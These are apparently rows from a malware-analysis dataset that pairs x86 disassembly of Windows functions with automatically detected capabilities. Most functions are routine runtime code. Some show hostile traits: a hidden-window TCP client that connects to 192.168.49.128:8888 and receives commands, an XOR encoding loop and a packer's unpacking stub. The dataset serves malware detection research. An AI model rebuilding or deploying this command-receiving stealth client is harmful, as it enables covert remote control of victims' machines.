joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10131d00
Capabilities:
Write file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x1434
call fcn.1006ba64
mov eax, dword [0x1017d608]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
sar eax, 6
mov ecx, dword [ebp + 0xc]
and ecx, 0x3f
imul edx, ecx, 0x38
mov eax, dword [eax*4 + 0x1017f920]
mov ecx, dword [eax + edx + 0x18]
mov dword [ebp - 0x1434], ecx
mov edx, dword [ebp + 0x10]
add edx, dword [ebp + 0x14]
mov dword [ebp - 0x1424], edx
xor eax, eax
mov dword [ebp - 0x1410], eax
mov dword [ebp - 0x140c], eax
mov dword [ebp - 0x1408], eax
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 0x1420], ecx
mov edx, dword [ebp - 0x1420]
cmp edx, dword [ebp - 0x1424]
jae 0x10131ed8
lea eax, [ebp - 5]
mov dword [ebp - 0x1430], eax
lea ecx, [ebp - 0x1404]
mov dword [ebp - 0x1418], ecx
mov edx, dword [ebp - 0x1418]
cmp edx, dword [ebp - 0x1430]
jae 0x10131e27
mov eax, dword [ebp - 0x1420]
cmp eax, dword [ebp - 0x1424]
jae 0x10131e27
mov ecx, dword [ebp - 0x1420]
mov dl, byte [ecx]
mov byte [ebp - 0x1419], dl
mov eax, dword [ebp - 0x1420]
add eax, 1
mov dword [ebp - 0x1420], eax
mov cl, byte [ebp - 0x1419]
mov byte [ebp - 0x1411], cl
movsx edx, byte [ebp - 0x1411]
cmp edx, 0xa
jne 0x10131e05
mov eax, dword [ebp - 0x1408]
add eax, 1
mov dword [ebp - 0x1408], eax
mov ecx, dword [ebp - 0x1418]
mov byte [ecx], 0xd
mov edx, dword [ebp - 0x1418]
add edx, 1
mov dword [ebp - 0x1418], edx
mov eax, dword [ebp - 0x1418]
mov cl, byte [ebp - 0x1411]
mov byte [eax], cl
mov edx, dword [ebp - 0x1418]
add edx, 1
mov dword [ebp - 0x1418], edx
jmp 0x10131d89
mov eax, dword [ebp - 0x1418]
lea ecx, [ebp - 0x1404]
sub eax, ecx
mov dword [ebp - 0x142c], eax
push 0
lea edx, [ebp - 0x1428]
push edx
mov eax, dword [ebp - 0x142c]
push eax
lea ecx, [ebp - 0x1404]
push ecx
mov edx, dword [ebp - 0x1434]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x10131e91
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x1410], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x1410]
mov dword [eax], ecx
mov edx, dword [ebp - 0x140c]
mov dword [eax + 4], edx
mov ecx, dword [ebp - 0x1408]
mov dword [eax + 8], ecx
mov eax, dword [ebp + 8]
jmp 0x10131ef8
mov edx, dword [ebp - 0x140c]
add edx, dword [ebp - 0x1428]
mov dword [ebp - 0x140c], edx
mov eax, dword [ebp - 0x1428]
cmp eax, dword [ebp - 0x142c]
jae 0x10131ed3
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x1410]
mov dword [ecx], edx
mov eax, dword [ebp - 0x140c]
mov dword [ecx + 4], eax
mov edx, dword [ebp - 0x1408]
mov dword [ecx + 8], edx
mov eax, dword [ebp + 8]
jmp 0x10131ef8
jmp 0x10131d62
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x1410]
mov dword [eax], ecx
mov edx, dword [ebp - 0x140c]
mov dword [eax + 4], edx
mov ecx, dword [ebp - 0x1408]
mov dword [eax + 8], ecx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1006c8fb
mov esp, ebp
pop ebp
ret
Function at 0x10131f90
Capabilities:
Write file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x1434
call fcn.1006ba64
mov eax, dword [0x1017d608]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
sar eax, 6
mov ecx, dword [ebp + 0xc]
and ecx, 0x3f
imul edx, ecx, 0x38
mov eax, dword [eax*4 + 0x1017f920]
mov ecx, dword [eax + edx + 0x18]
mov dword [ebp - 0x1434], ecx
mov edx, dword [ebp + 0x10]
add edx, dword [ebp + 0x14]
mov dword [ebp - 0x1424], edx
xor eax, eax
mov dword [ebp - 0x1410], eax
mov dword [ebp - 0x140c], eax
mov dword [ebp - 0x1408], eax
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 0x141c], ecx
mov edx, dword [ebp - 0x141c]
cmp edx, dword [ebp - 0x1424]
jae 0x1013217b
lea eax, [ebp - 6]
mov dword [ebp - 0x1430], eax
lea ecx, [ebp - 0x1404]
mov dword [ebp - 0x1414], ecx
mov edx, dword [ebp - 0x1414]
cmp edx, dword [ebp - 0x1430]
jae 0x101320c6
mov eax, dword [ebp - 0x141c]
cmp eax, dword [ebp - 0x1424]
jae 0x101320c6
mov ecx, dword [ebp - 0x141c]
mov dx, word [ecx]
mov word [ebp - 0x141e], dx
mov eax, dword [ebp - 0x141c]
add eax, 2
mov dword [ebp - 0x141c], eax
mov cx, word [ebp - 0x141e]
mov word [ebp - 0x1418], cx
movzx edx, word [ebp - 0x1418]
cmp edx, 0xa
jne 0x101320a2
mov eax, dword [ebp - 0x1408]
add eax, 2
mov dword [ebp - 0x1408], eax
mov ecx, 0xd
mov edx, dword [ebp - 0x1414]
mov word [edx], cx
mov eax, dword [ebp - 0x1414]
add eax, 2
mov dword [ebp - 0x1414], eax
mov ecx, dword [ebp - 0x1414]
mov dx, word [ebp - 0x1418]
mov word [ecx], dx
mov eax, dword [ebp - 0x1414]
add eax, 2
mov dword [ebp - 0x1414], eax
jmp 0x10132019
mov ecx, dword [ebp - 0x1414]
lea edx, [ebp - 0x1404]
sub ecx, edx
sar ecx, 1
shl ecx, 1
mov dword [ebp - 0x142c], ecx
push 0
lea eax, [ebp - 0x1428]
push eax
mov ecx, dword [ebp - 0x142c]
push ecx
lea edx, [ebp - 0x1404]
push edx
mov eax, dword [ebp - 0x1434]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x10132134
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x1410], eax
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x1410]
mov dword [ecx], edx
mov eax, dword [ebp - 0x140c]
mov dword [ecx + 4], eax
mov edx, dword [ebp - 0x1408]
mov dword [ecx + 8], edx
mov eax, dword [ebp + 8]
jmp 0x1013219b
mov eax, dword [ebp - 0x140c]
add eax, dword [ebp - 0x1428]
mov dword [ebp - 0x140c], eax
mov ecx, dword [ebp - 0x1428]
cmp ecx, dword [ebp - 0x142c]
jae 0x10132176
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 0x1410]
mov dword [edx], eax
mov ecx, dword [ebp - 0x140c]
mov dword [edx + 4], ecx
mov eax, dword [ebp - 0x1408]
mov dword [edx + 8], eax
mov eax, dword [ebp + 8]
jmp 0x1013219b
jmp 0x10131ff2
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x1410]
mov dword [ecx], edx
mov eax, dword [ebp - 0x140c]
mov dword [ecx + 4], eax
mov edx, dword [ebp - 0x1408]
mov dword [ecx + 8], edx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1006c8fb
mov esp, ebp
pop ebp
ret
Function at 0x414de1
Capabilities:
Encode data using xor

Disassembly:
xor dword [edi], ecx
add eax, edx
add edx, 0x56c0de27
or esi, eax
add edi, 4
cmp edi, ebx
jne fcn.00414de1
ret
Function at 0x4015b0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push edi
sub esp, 0x5c4
lea eax, [ebp - 0x1a0]
mov dword [esp + 4], eax
mov dword [esp], 0x202
mov eax, dword [sym.imp.WS2_32.dll_WSAStartup]
call eax
sub esp, 8
mov dword [esp + 8], 6
mov dword [esp + 4], 1
mov dword [esp], 2
mov eax, dword [sym.imp.WS2_32.dll_socket]
call eax
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov word [ebp - 0x1b0], 2
mov dword [esp], str.192.168.49.128
mov eax, dword [sym.imp.WS2_32.dll_inet_addr]
call eax
sub esp, 4
mov dword [ebp - 0x1ac], eax
mov dword [esp], 0x22b8
mov eax, dword [sym.imp.WS2_32.dll_htons]
call eax
sub esp, 4
mov word [ebp - 0x1ae], ax
mov dword [esp + 8], 0x10
lea eax, [ebp - 0x1b0]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_connect]
call eax
sub esp, 0xc
cmp eax, 0xffffffff
sete al
test al, al
je 0x401680
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_closesocket]
call eax
sub esp, 4
mov eax, dword [sym.imp.WS2_32.dll_WSACleanup]
call eax
mov dword [esp], 0
call sub.msvcrt.dll_exit
mov dword [esp + 4], str.___Connected._Hit__Enter__to_disconnect...
mov dword [esp], 0x4b78c0
call fcn.004aaee0
mov dword [esp], 0x4a9020
mov ecx, eax
call fcn.0046dea0
sub esp, 4
mov dword [ebp - 0x5b0], 0
lea edx, [ebp - 0x5ac]
mov eax, 0
mov ecx, 0xff
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x400
lea eax, [ebp - 0x5b0]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_recv]
call eax
sub esp, 0x10
mov dword [ebp - 0x10], eax
mov dword [esp + 4], str.Command_received:
mov dword [esp], 0x4b78c0
call fcn.004aaee0
lea edx, [ebp - 0x5b0]
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.004aaee0
mov dword [esp + 4], str.Length_of_Command_received:
mov dword [esp], 0x4b78c0
call fcn.004aaee0
mov edx, eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov ecx, edx
call fcn.0046e0b0
sub esp, 4
mov dword [esp], 0x4a9020
mov ecx, eax
call fcn.0046dea0
sub esp, 4
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0
lea eax, [ebp - 0x5b0]
mov dword [esp], eax
call sub.msvcrt.dll_memset
jmp 0x4016c3

Function at 0x401770
Capabilities:
Hide graphical window

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x24
call fcn.0040a7c0
mov eax, dword [sym.imp.KERNEL32.dll_AllocConsole]
call eax
mov dword [esp + 4], 0
mov dword [esp], str.ConsoleWindowClass
mov eax, dword [sym.imp.USER32.dll_FindWindowA]
call eax
sub esp, 8
mov dword [ebp - 0xc], eax
mov dword [esp + 4], 1
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_ShowWindow]
call eax
sub esp, 8
call fcn.004015b0
mov eax, 0
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret
Function at 0x40a980
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call fcn.004198c0
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov dword [esp], 2
call fcn.004198c0
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]

Function at 0x40a9e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x501078]
test esi, esi
jle 0x40ab00
mov eax, dword [0x50107c]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp ebx, edx
jb 0x40aa14
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x40aa97
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x40aa00
mov dword [esp], ebx
call fcn.0040b3d0
mov edi, eax
test eax, eax
je 0x40ab27
mov eax, dword [0x50107c]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call fcn.0040b510
mov edx, dword [0x50107c]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x40ab07
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x40aa90
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x40aaa0
add dword [0x501078], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 4
mov eax, 0x40
mov ecx, dword [esp + 0x20]
cmove eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x50107c]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x40aa90
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.0040a980
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x40aa1e
mov eax, dword [0x50107c]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.0040a980
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call fcn.0040a980
lea esi, [esi]
nop
Function at 0x40b040
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x501094
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x50108c]
sub esp, 4
test ebx, ebx
je 0x40b095
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x40b08e
test esi, esi
je 0x40b08e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x40b070
mov dword [esp], 0x501094
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x40b3d0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x40b3f5
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x40b400
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x40b3f5
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test si, si
je 0x40b448
xor ecx, ecx
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x40b43e
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x40b44a
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x40b430
xor eax, eax
pop ebx
pop esi
ret

Function at 0x410770
Capabilities:
Allocate thread local storage

Disassembly:
sub esp, 0x1c
mov dword [0x5010f0], 0xffffffff
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0xffff
mov dword [esp + 4], 0
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreW]
sub esp, 0x10
mov dword [0x5010f4], eax
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
je 0x4107e0
mov dword [esp + 4], 0x410680
mov dword [esp], eax
mov dword [0x5010ec], eax
call fcn.0041a0a0
test eax, eax
jne 0x4b00e9
add esp, 0x1c
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x4107ca
Function at 0x4107f0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x2c
mov edx, dword [0x4b6014]
mov eax, dword [esp + 0x40]
test edx, edx
jne 0x410818
mov eax, dword [eax + 8]
test eax, eax
je 0x410878
add esp, 0x2c
pop ebx
pop esi
pop edi
pop ebp
ret
mov edi, dword [eax + 8]
test edi, edi
je 0x410890
mov ebx, dword [0x5010ec]
mov ebp, dword [sym.imp.KERNEL32.dll_GetLastError]
call ebp
mov esi, eax
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
sub esp, 4
mov ebx, eax
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
sub esp, 4
test ebx, ebx
je 0x410910
mov edx, dword [ebx]
cmp edx, edi
jb 0x410960
sub edi, 1
mov eax, dword [ebx + edi*4 + 4]
test eax, eax
jne 0x41080c
mov eax, dword [esp + 0x40]
call fcn.004106d0
mov dword [ebx + edi*4 + 4], eax
jmp 0x41080c
mov eax, dword [esp + 0x40]
call fcn.004106d0
mov ecx, dword [esp + 0x40]
mov dword [ecx + 8], eax
jmp 0x41080c
mov ebp, dword [0x4b6014]
test ebp, ebp
je 0x4109d6
mov edi, dword [0x4b6028]
test edi, edi
je 0x410a00
lock add dword [0x5010f0], 1
jne 0x410a38
mov eax, dword [esp + 0x40]
mov edi, dword [eax + 8]
test edi, edi
je 0x4109e5
mov eax, dword [0x4b6014]
test eax, eax
je 0x41081f
lock sub dword [0x5010f0], 1
js 0x41081f
mov eax, dword [0x5010f4]
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
sub esp, 0xc
jmp 0x41081f
lea eax, [edi + 0x21]
mov dword [esp + 4], 4
lea edx, [edi + 0x20]
mov dword [esp], eax
mov dword [esp + 0x18], edx
call sub.msvcrt.dll_calloc
mov ebx, eax
test eax, eax
je 0x4b00ee
mov edx, dword [esp + 0x18]
mov dword [eax], edx
mov eax, dword [0x5010ec]
mov dword [esp + 4], ebx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
sub esp, 8
test eax, eax
jne 0x41085b
call ebp
jmp 0x41085b
lea ecx, [edx + edx]
lea eax, [edi + 0x20]
mov dword [esp], ebx
cmp ecx, edi
mov dword [esp + 0x1c], edx
cmovb ecx, eax
lea eax, [ecx*4 + 4]
mov dword [esp + 0x18], ecx
mov dword [esp + 4], eax
call sub.msvcrt.dll_realloc
mov ebx, eax
test eax, eax
je 0x4b00ee
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
mov dword [eax], ecx
sub ecx, edx
lea eax, [eax + edx*4 + 4]
shl ecx, 2
mov dword [esp + 4], 0
mov dword [esp + 8], ecx
mov dword [esp], eax
call sub.msvcrt.dll_memset
jmp 0x41093a
call fcn.00410770
mov dword [0x4b6028], 1
mov edx, dword [0x4b6014]
test edx, edx
jne 0x4108ac
mov eax, dword [esp + 0x40]
mov edi, dword [eax + 8]
test edi, edi
jne 0x41081f
mov eax, dword [0x5010e8]
lea edi, [eax + 1]
mov dword [0x5010e8], edi
mov eax, dword [esp + 0x40]
mov dword [eax + 8], edi
jmp 0x4108c9
lock add dword [0x4b602c], 1
je 0x4109b9
mov esi, dword [0x4b6028]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
test esi, esi
jne 0x4109c8
lea esi, [esi]
mov dword [esp], 0
call ebx
mov ecx, dword [0x4b6028]
sub esp, 4
test ecx, ecx
je 0x410a20
jmp 0x4109c8
mov eax, dword [0x5010f4]
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
sub esp, 8
test eax, eax
je 0x4108ba
lock sub dword [0x5010f0], 1
jmp 0x4108ba
Function at 0x41cec0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ecx, 0x1a
mov ebp, esp
push edi
push esi
lea edi, [ebp - 0x80]
mov esi, 0x4b9371
push ebx
sub esp, 0x9c
mov eax, dword [0x4b9370]
mov dword [ebp - 0x81], eax
mov eax, dword [0x4b93d5]
mov dword [ebp - 0x1c], eax
rep movsd dword es:[edi], dword [esi]
mov edx, dword [ebp + 0xc]
sub edx, dword [ebp + 8]
lea eax, [edx + 0x84]
and eax, 0xfffffff0
call fcn.0040b6a0
mov ecx, 0x1a
sub esp, eax
lea esi, [ebp - 0x81]
lea ebx, [esp + 0x1b]
and ebx, 0xfffffff0
mov edi, ebx
lea eax, [ebx + 0x68]
rep movsd dword es:[edi], dword [esi]
mov dword [esp + 8], edx
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x8c], edx
mov dword [esp + 4], ecx
mov dword [esp], eax
call sub.msvcrt.dll_memcpy
mov edx, dword [ebp - 0x8c]
mov byte [ebx + edx + 0x68], 0
mov dword [esp], ebx
call fcn.004aebb0
nop
nop
nop
nop
nop
nop
nop
push edi
push esi
push ebx
sub esp, 0x20
cmp byte [0x4b7bf8], 0
jne 0x41cfe6
mov byte [0x4b7bf8], 1
call fcn.004ad1e0
test eax, eax
je 0x41cfb4
mov ebx, dword [eax + 4]
xor eax, eax
cmp byte [ebx], 0x2a
mov dword [esp + 8], 0
sete al
mov dword [esp + 4], 0
add ebx, eax
lea eax, [esp + 0x1c]
mov dword [esp + 0x1c], 0xffffffff
mov dword [esp + 0xc], eax
mov dword [esp], ebx
call fcn.0040a590
mov dword [esp], 2
mov esi, dword [fcn.004198c0]
mov edi, eax
call esi
mov dword [esp + 8], 0x30
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.terminate_called_after_throwing_an_instance_of_
call sub.msvcrt.dll_fwrite
mov edx, dword [esp + 0x1c]
mov dword [esp], 2
test edx, edx
je 0x41cfa4
call esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.msvcrt.dll_fputs
mov dword [esp], 2
call esi
mov dword [esp + 8], 2
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], 0x4b9b59
call sub.msvcrt.dll_fwrite
mov eax, dword [esp + 0x1c]
test eax, eax
jne 0x4af478
jmp 0x4af470
call esi
mov dword [esp], edi
mov dword [esp + 4], eax
call sub.msvcrt.dll_fputs
jmp 0x41cf6a
mov dword [esp], 2
call dword [0x4b60ac]
mov dword [esp + 8], 0x2d
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.terminate_called_without_an_active_exception_n
call sub.msvcrt.dll_fwrite
jmp 0x4af46b
mov dword [esp], 2
call dword [0x4b60ac]
mov dword [esp + 8], 0x1d
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.terminate_called_recursively_n
call sub.msvcrt.dll_fwrite
call sub.msvcrt.dll_abort
nop
nop
nop
nop
nop
nop
nop
nop
call sub.msvcrt.dll_abort
mov dword [esp], edi
call sub.msvcrt.dll_free
call fcn.004ad510
call fcn.004ad0d0
call fcn.004ad210
jmp 0x4af46b
Function at 0x474bb0
Capabilities:
Read file on windows

Disassembly:
push ebp
push edi
push esi
push ebx
mov ebx, ecx
sub esp, 0x1c
mov edi, dword [esp + 0x30]
mov esi, dword [esp + 0x34]
mov eax, dword [ebx]
mov dword [esp], eax
call sub.msvcrt.dll__fileno_1
mov dword [esp + 8], esi
mov dword [esp + 4], edi
mov dword [esp], eax
call sub.msvcrt.dll__read
mov ebp, eax
cmp eax, 0xffffffff
je 0x474bf0
add esp, 0x1c
mov eax, ebp
pop ebx
pop esi
pop edi
pop ebp
ret 8
call dword [sym.imp.msvcrt.dll__errno]
cmp dword [eax], 4
je 0x474bc1
add esp, 0x1c
mov eax, ebp
pop ebx
pop esi
pop edi
pop ebp
ret 8
Function at 0x42211b
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x42215a
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x42215a
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x42215a
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x42215a
cmp dword [ecx + 0x74], 0xe
jbe 0x42215a
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x4347a0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4347cd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4347cd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x40f080
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x40b015
lea edi, [esi - 0xa015]
push edi
or ebp, 0xffffffff
jmp 0x40f0a2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x40f0a9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x40f098
mov eax, 1
add ebx, ebx
jne 0x40f0bb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x40f0b0
jne 0x40f0cc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40f0b0
xor ecx, ecx
sub eax, 3
jb 0x40f0e0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x40f152
mov ebp, eax
add ebx, ebx
jne 0x40f0eb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x40f0f8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40f11c
inc ecx
add ebx, ebx
jne 0x40f108
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x40f0fd
jne 0x40f119
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40f0fd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40f13c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40f12d
jmp 0x40f09e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40f13c
add edi, ecx
jmp 0x40f09e
pop esi
mov edi, esi
mov ecx, 0x265
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40f15a
cmp byte [edi], 2
jne 0x40f15a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x40f15f
lea edi, [esi + 0xd000]
mov eax, dword [edi]
or eax, eax
je 0x40f1ce
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xf000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xf064]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40f18c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xf068]
or eax, eax
je 0x40f1c8
mov dword [ebx], eax
add ebx, 4
jmp 0x40f1a9
call dword [esi + 0xf06c]
popal
jmp 0x40354a